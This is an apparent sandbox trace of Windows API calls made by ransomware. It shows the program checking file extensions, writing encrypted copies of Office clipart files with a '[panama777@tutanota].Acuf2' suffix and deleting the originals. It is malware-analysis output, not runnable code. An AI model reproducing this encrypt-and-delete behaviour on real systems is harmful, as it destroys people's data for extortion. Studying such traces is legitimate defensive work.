	[0262.560] CloseHandle (hObject=0x328) returned 1
	[0262.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00336_.wmf")) returned 1
	[0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.561] lstrlenW (lpString=".doc") returned 4
	[0262.561] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.561] lstrlenW (lpString=".docx") returned 5
	[0262.561] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.561] lstrlenW (lpString=".pdf") returned 4
	[0262.561] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.561] lstrlenW (lpString=".xls") returned 4
	[0262.561] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.561] lstrlenW (lpString=".xlsx") returned 5
	[0262.561] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.561] lstrlenW (lpString=".ppt") returned 4
	[0262.561] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.561] lstrlenW (lpString=".zip") returned 4
	[0262.561] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.562] lstrlenW (lpString=".rar") returned 4
	[0262.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.562] lstrlenW (lpString=".bz2") returned 4
	[0262.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.562] lstrlenW (lpString=".7z") returned 3
	[0262.562] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.562] lstrlenW (lpString=".dbf") returned 4
	[0262.562] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.562] lstrlenW (lpString=".1cd") returned 4
	[0262.562] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00336_.WMF") returned 63
	[0262.562] lstrlenW (lpString=".jpg") returned 4
	[0262.562] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.562] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4074) returned 1
	[0262.562] CloseHandle (hObject=0x328) returned 1
	[0262.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20
	[0262.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0262.563] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.563] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0262.563] GetLastError () returned 0x0
	[0262.563] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0xfea, lpOverlapped=0x0) returned 1
	[0262.742] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xff0, lpOverlapped=0x0) returned 1
	[0262.743] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0262.743] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0262.743] SetEndOfFile (hFile=0x35c) returned 1
	[0262.743] CloseHandle (hObject=0x35c) returned 1
	[0262.743] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.743] SetEndOfFile (hFile=0x328) returned 1
	[0262.747] CloseHandle (hObject=0x328) returned 1
	[0262.747] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0262.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1
	[0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.929] lstrlenW (lpString=".doc") returned 4
	[0262.929] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0262.929] lstrlenW (lpString=".docx") returned 5
	[0262.929] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0262.929] lstrlenW (lpString=".pdf") returned 4
	[0262.929] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0262.929] lstrlenW (lpString=".xls") returned 4
	[0262.929] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0262.929] lstrlenW (lpString=".xlsx") returned 5
	[0262.929] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0262.929] lstrlenW (lpString=".ppt") returned 4
	[0262.930] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.930] lstrlenW (lpString=".zip") returned 4
	[0262.930] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0262.930] lstrlenW (lpString=".rar") returned 4
	[0262.930] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0262.930] lstrlenW (lpString=".bz2") returned 4
	[0262.930] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0262.930] lstrlenW (lpString=".7z") returned 3
	[0262.930] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.930] lstrlenW (lpString=".dbf") returned 4
	[0262.930] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.930] lstrlenW (lpString=".1cd") returned 4
	[0262.930] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0262.930] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63
	[0262.930] lstrlenW (lpString=".jpg") returned 4
	[0262.930] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0262.931] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=4796) returned 1
	[0262.931] CloseHandle (hObject=0x34c) returned 1
	[0262.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20
	[0262.931] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0262.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0262.931] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.931] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0262.931] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330
	[0262.937] GetLastError () returned 0x0
	[0262.937] ReadFile (in: hFile=0x34c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x12bc, lpOverlapped=0x0) returned 1
	[0263.068] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x12c0, lpOverlapped=0x0) returned 1
	[0263.069] ReadFile (in: hFile=0x34c, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.069] WriteFile (in: hFile=0x330, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.069] SetEndOfFile (hFile=0x330) returned 1
	[0263.069] CloseHandle (hObject=0x330) returned 1
	[0263.069] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.069] SetEndOfFile (hFile=0x34c) returned 1
	[0263.071] CloseHandle (hObject=0x34c) returned 1
	[0263.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1
	[0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.072] lstrlenW (lpString=".doc") returned 4
	[0263.072] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString=".docx") returned 5
	[0263.072] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.072] lstrlenW (lpString=".pdf") returned 4
	[0263.072] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString=".xls") returned 4
	[0263.072] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.072] lstrlenW (lpString=".xlsx") returned 5
	[0263.072] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.072] lstrlenW (lpString=".ppt") returned 4
	[0263.072] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.072] lstrlenW (lpString=".zip") returned 4
	[0263.072] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.072] lstrlenW (lpString=".rar") returned 4
	[0263.072] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString=".bz2") returned 4
	[0263.072] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString=".7z") returned 3
	[0263.072] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.072] lstrlenW (lpString=".dbf") returned 4
	[0263.072] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.072] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.072] lstrlenW (lpString=".1cd") returned 4
	[0263.072] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63
	[0263.073] lstrlenW (lpString=".jpg") returned 4
	[0263.073] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.084] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.084] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.088] GetLastError () returned 0x0
	[0263.088] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x13ea, lpOverlapped=0x0) returned 1
	[0263.091] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x13f0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x13f0, lpOverlapped=0x0) returned 1
	[0263.092] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.092] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.092] SetEndOfFile (hFile=0x35c) returned 1
	[0263.092] CloseHandle (hObject=0x35c) returned 1
	[0263.092] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.092] SetEndOfFile (hFile=0x328) returned 1
	[0263.094] CloseHandle (hObject=0x328) returned 1
	[0263.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00438_.wmf")) returned 1
	[0263.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.095] lstrlenW (lpString=".doc") returned 4
	[0263.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.095] lstrlenW (lpString=".docx") returned 5
	[0263.095] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.095] lstrlenW (lpString=".pdf") returned 4
	[0263.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.095] lstrlenW (lpString=".xls") returned 4
	[0263.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.095] lstrlenW (lpString=".xlsx") returned 5
	[0263.095] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.095] lstrlenW (lpString=".ppt") returned 4
	[0263.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.095] lstrlenW (lpString=".zip") returned 4
	[0263.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.095] lstrlenW (lpString=".rar") returned 4
	[0263.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.096] lstrlenW (lpString=".bz2") returned 4
	[0263.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.096] lstrlenW (lpString=".7z") returned 3
	[0263.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.096] lstrlenW (lpString=".dbf") returned 4
	[0263.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.096] lstrlenW (lpString=".1cd") returned 4
	[0263.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00438_.WMF") returned 63
	[0263.096] lstrlenW (lpString=".jpg") returned 4
	[0263.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.096] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=8926) returned 1
	[0263.096] CloseHandle (hObject=0x328) returned 1
	[0263.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 0x20
	[0263.096] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0263.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0263.097] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.097] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0263.097] GetLastError () returned 0x0
	[0263.097] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x22de, lpOverlapped=0x0) returned 1
	[0263.102] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0x22e0, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0x22e0, lpOverlapped=0x0) returned 1
	[0263.103] ReadFile (in: hFile=0x328, lpBuffer=0x3900020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesRead=0x2d4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0263.103] WriteFile (in: hFile=0x35c, lpBuffer=0x3900020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3900020*, lpNumberOfBytesWritten=0x2d4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0263.103] SetEndOfFile (hFile=0x35c) returned 1
	[0263.103] CloseHandle (hObject=0x35c) returned 1
	[0263.103] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0263.103] SetEndOfFile (hFile=0x328) returned 1
	[0263.105] CloseHandle (hObject=0x328) returned 1
	[0263.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0263.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00455_.wmf")) returned 1
	[0263.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.106] lstrlenW (lpString=".doc") returned 4
	[0263.106] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString=".docx") returned 5
	[0263.106] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0263.106] lstrlenW (lpString=".pdf") returned 4
	[0263.106] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString=".xls") returned 4
	[0263.106] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0263.106] lstrlenW (lpString=".xlsx") returned 5
	[0263.106] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0263.106] lstrlenW (lpString=".ppt") returned 4
	[0263.106] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.106] lstrlenW (lpString=".zip") returned 4
	[0263.106] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0263.106] lstrlenW (lpString=".rar") returned 4
	[0263.106] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString=".bz2") returned 4
	[0263.106] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString=".7z") returned 3
	[0263.106] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0263.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.106] lstrlenW (lpString=".dbf") returned 4
	[0263.106] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0263.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.106] lstrlenW (lpString=".1cd") returned 4
	[0263.107] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0263.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00455_.WMF") returned 63
	[0263.107] lstrlenW (lpString=".jpg") returned 4
	[0263.107] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0263.107] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2d4ff1c | out: lpFileSize=0x2d4ff1c*=17406) returned 1
	[0263.107] CloseHandle (hObject=0x328) returned 1
	[0263.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x20
	[0263.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00459_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00459_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
